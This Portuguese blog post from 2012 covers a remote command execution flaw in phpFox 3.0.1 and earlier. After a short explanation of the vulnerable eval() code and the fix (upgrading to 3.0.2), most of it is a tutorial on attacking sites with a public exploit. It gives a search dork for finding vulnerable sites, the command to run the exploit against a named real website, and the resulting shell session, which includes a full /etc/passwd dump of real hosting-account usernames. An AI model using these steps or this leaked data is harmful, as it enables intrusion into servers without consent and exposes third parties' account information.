Foi descoberta no dia 7 de fevereiro de 2012 e liberada em público anteontem (23/03/2012) uma vulnerabilidade no software phpFox, uma rede social em PHP, muito utilizado.
A vulnerabilidade está presente na versão 3.0.1 ou anterior. Trata-se de Remote Command Execution.
Uma atualização foi liberada (versão 3.0.2), mas nem todo administrador tem saco pra ficar atualizando seus sistemas (essa é a verdade).
É daquelas falhas que há um exploit que já faz tudo pra você. Vou mostrar como utilizar o exploit, mas antes, vamos entender a falha, que está no arquivo /include/library/phpfox/module/module.class.php, acessado pelo arquivo /ajax.php, das linhas 716 até 754. Veja:
1
2
3
4
5
6
7
8
9
10
11
| 716. $aParts = explode ( '.' , $sClass ); 717. $sModule = $aParts [0]; 718. $sComponent = $sType . PHPFOX_DS . substr_replace( str_replace ( '.' , PHPFOX_DS, $sClass ), '' , 0, strlen ( $sModule . PHPFOX_DS)); ... 748. if (preg_match( '/(.*?)\((.*?)\)/' , $sComponent , $aMatches ) && ! empty ( $aMatches [2])) 749. { 750. eval ( '$aParams = array_merge($aParams, array(' . $aMatches [2] . '));' ); 751. 752. $sComponent = $aMatches [1]; 753. $sClass = $aMatches [1]; 754. } |
No eval, o programador declara uma variável ao resultado de uma função, array_merge(), mas não trata as variáveis já declaradas utilizadas dentro do eval().
Solução: Atualizar para o phpFox 3.0.2.
Fechando a função array_merge, é possível executar outros códigos. Este exploit permite que você execute códigos no terminal do sistema. Vamos utilizá-lo?
Primeiro, pegue-o aqui. Baixe o arquivo ou copie e salve seu conteúdo.
Você precisa ter instalado o PHP.
Para encontrar websites vulneráveis, utilize a dork:
1
| intext: "Powered by phpFox Version 3.0.1" |
Então, no bash/DOS digite (suponhando que o exploit está salvo como ‘phpfox.php’):
1
| php phpfox.php www.valestream.com / |
php phpfox.php => diz ao PHP para executar o arquivo phpfox.php
www.valestream.com => domínio
/ => local da instalação do phpFox
Como neste caso o sistema estava rodando na raiz, colocamos apenas uma barra. Se ele estivesse instalado no diretório “phpfox”, digitaríamos ‘/phpfox’.
Veja o resultado:
1
2
3
4
5
6
7
| nonono@debian:/nonono$ php phpfox.php www.valestream.com / +----------------------------------------------------------+ | phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX | +----------------------------------------------------------+ phofox-shell# |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
| phofox-shell# id uid=1041(t2ypafw4) gid=1033(t2ypafw4) groups=1033(t2ypafw4) phofox-shell# uname -a Linux server6.hostinro.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 EST 2009 x86_64 x86_64 x86_64 GNU/Linux phofox-shell# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/ var /adm:/sbin/nologin lp:x:4:7:lp:/ var /spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/ var /spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/ var /spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/ var /gopher:/sbin/nologin ftp:x:14:50:FTP User:/ var /ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin pcap:x:77:77::/ var /arpwatch:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/ var /spool/mqueue:/sbin/nologin smmsp:x:51:51::/ var /spool/mqueue:/sbin/nologin rpcuser:x:29:29:RPC Service User:/ var /lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/ var /lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/ var / empty /sshd:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin avahi-autoipd:x:100:101:avahi-autoipd:/ var /lib/avahi-autoipd:/sbin/nologin apache:x:48:48:Apache:/ var /www:/sbin/nologin cpanel:x:32001:32001::/usr/local/cpanel:/bin/false named:x:25:25:Named:/ var /named:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin mysql:x:101:103:MySQL server:/ var /lib/mysql:/bin/bash mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/false cpanelhorde:x:32003:32005::/ var /cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshell cpanelphpmyadmin:x:32004:32006::/ var /cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/bin/noshell cpanelphppgadmin:x:32005:32007::/ var /cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/bin/noshell cpanelroundcube:x:32006:32008::/ var /cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin/noshell hostinro:x:504:501::/home/hostinro:/usr/local/cpanel/bin/noshell rivonze:x:508:504::/home/rivonze:/usr/local/cpanel/bin/noshell gabi0001:x:509:505::/home/gabi0001:/usr/local/cpanel/bin/noshell anndreii:x:510:506::/home/anndreii:/usr/local/cpanel/bin/noshell tomcat:x:102:99::/home/tomcat:/bin/bash stefan1:x:514:510::/home/stefan1:/usr/local/cpanel/bin/noshell trimitef:x:519:515::/home/trimitef:/usr/local/cpanel/bin/noshell avaos:x:520:516::/home/avaos:/usr/local/cpanel/bin/noshell csl2ro:x:521:517::/home/csl2ro:/usr/local/cpanel/bin/noshell mosnicol:x:524:520::/home/mosnicol:/usr/local/cpanel/bin/noshell pariulzi:x:527:523::/home/pariulzi:/usr/local/cpanel/bin/noshell cameliab:x:529:525::/home/cameliab:/usr/local/cpanel/bin/noshell valeabuz:x:530:526::/home/valeabuz:/usr/local/cpanel/bin/noshell recomand:x:531:527::/home/recomand:/usr/local/cpanel/bin/noshell jordivil:x:1005:1000::/home/jordivil:/usr/local/cpanel/bin/noshell recom:x:1006:1001::/home/recom:/usr/local/cpanel/bin/noshell promovar:x:1007:1002::/home/promovar:/usr/local/cpanel/bin/noshell cautpeci:x:1008:1003::/home/cautpeci:/usr/local/cpanel/bin/noshell iaudepen:x:1010:1005::/home/iaudepen:/usr/local/cpanel/bin/noshell cpaneleximfilter:x:1009:503::/ var /cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell artnudep:x:1011:1006::/home/artnudep:/usr/local/cpanel/bin/noshell clamav:x:103:104:Clam Anti Virus Checker:/ var /clamav:/sbin/nologin driveren:x:1016:1010::/home/driveren:/usr/local/cpanel/bin/noshell servicel:x:1017:1011::/home/servicel:/usr/local/cpanel/bin/noshell kameniro:x:1018:1012::/home/kameniro:/usr/local/cpanel/bin/noshell lumio:x:1019:1013::/home/lumio:/usr/local/cpanel/bin/noshell stefan:x:1021:1015::/home/stefan:/usr/local/cpanel/bin/noshell eventtra:x:1022:1016::/home/eventtra:/bin/bash filmeb:x:1024:1017::/home/filmeb:/usr/local/cpanel/bin/noshell hostings:x:1026:1019::/home/hostings:/usr/local/cpanel/bin/noshell raduz:x:1028:1021::/home/raduz:/usr/local/cpanel/bin/noshell dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin tpech6fr:x:1029:1022::/home/tpech6fr:/usr/local/cpanel/bin/noshell br2m8cle:x:1030:1023::/home/br2m8cle:/usr/local/cpanel/bin/noshell stefan4:x:1035:1027::/home/stefan4:/usr/local/cpanel/bin/noshell v9traj6t:x:1036:1028::/home/v9traj6t:/usr/local/cpanel/bin/noshell procasim:x:1037:1029::/home/procasim:/bin/false ukick:x:1038:1030::/home/ukick:/usr/local/cpanel/bin/noshell mabis:x:1040:1032::/home/mabis:/usr/local/cpanel/bin/noshell t2ypafw4:x:1041:1033::/home/t2ypafw4:/usr/local/cpanel/bin/noshell smedia:x:1042:1034::/home/smedia:/usr/local/cpanel/bin/noshell p6v9tp6t:x:1044:1036::/home/p6v9tp6t:/usr/local/cpanel/bin/noshell pr3wr9tp:x:1045:1037::/home/pr3wr9tp:/usr/local/cpanel/bin/noshell wr4ph4n9:x:1046:1038::/home/wr4ph4n9:/usr/local/cpanel/bin/noshell ropiese:x:1047:1039::/home/ropiese:/usr/local/cpanel/bin/noshell deboala:x:1048:1040::/home/deboala:/usr/local/cpanel/bin/noshell admin:x:1049:1041::/home/admin:/usr/local/cpanel/bin/noshell p8tp6vut:x:1050:1042::/home/p8tp6vut:/usr/local/cpanel/bin/noshell domeniul:x:1051:1043::/home/domeniul:/bin/false oradesan:x:1052:1044::/home/oradesan:/usr/local/cpanel/bin/noshell tramvaiu:x:1053:1045::/home/tramvaiu:/usr/local/cpanel/bin/noshell diseasei:x:1055:1047::/home/diseasei:/usr/local/cpanel/bin/noshell fr4yp7br:x:1056:1048::/home/fr4yp7br:/usr/local/cpanel/bin/noshell bodymark:x:1057:1049::/home/bodymark:/bin/false phofox-shell# ls ajax.php core crossdomain.php gzip.php image image.php index.html jscript mp3 nodb.html paokara ppp ss sss style* style.php tmp upgrade.html phofox-shell# |
Divertido?
Brinquem direito!
Nenhum comentário:
Postar um comentário